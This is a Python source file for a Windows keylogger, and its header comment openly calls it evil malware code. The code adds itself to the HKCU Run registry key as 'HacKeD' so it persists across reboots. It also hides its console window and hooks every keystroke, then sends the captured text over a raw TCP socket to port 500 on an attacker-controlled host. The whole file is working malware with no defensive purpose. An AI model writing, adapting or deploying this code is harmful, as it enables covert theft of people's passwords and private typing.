# this is a evil piece of code to achoive the persistent in windows os based computer systems, to make malwares autorun 
# every time the system is booted// 
#!/usr/bin/python
try: 
    import  pyHook, pythoncom
    import win32event, win32api, winerror

except:
    os.system("pip install pyHook ; pip install pythoncom")
    os.system("pip install win32event ; pip install win32api ; pip install winerror")
#import socket 
    os.system("pip install _winreg")
    from _winreg import *
import socket 
import os , sys 

def AddProgramToStartup():
    fp=os.path.dirname(os.path.realpath(__file__))
    file_name=" "
    new_file_path=fp+"\\"+file_name
    #print new_file_path
    keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run' # registry autorun key to modify 
    key2change= OpenKey(HKEY_CURRENT_USER,keyVal,0,KEY_ALL_ACCESS)
    SetValueEx(key2change, "HacKeD",0,REG_SZ, new_file_path)



data=''

HOST_IP=""  # Local private ip of the attacker machine  

def SendToRemoteServer():
    
    global data
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((HOST_IP, 500)) # listening port -->500 hardcoded /
    sock.send(data)
    sock.close()
    return True
    

def HideCmd():
    import win32console,win32gui
    window = win32console.GetConsoleWindow()
    win32gui.ShowWindow(window,0)
    return True
    

def GetKeyPressedAndSendIt(event):
    global data
    if event.Ascii==13:
        keys='<ENTER>'
    elif event.Ascii==8:
        keys='<BACK SPACE>'
    elif event.Ascii==9:
        keys='<TAB>'
    else:
        keys=chr(event.Ascii)
    data=data+keys
    HideCmd()
    SendToRemoteServer()


AddProgramToStartup()
hm = pyHook.HookManager()
hm.KeyDown = GetKeyPressedAndSendIt
hm.HookKeyboard()
pythoncom.PumpMessages()
# ended .../
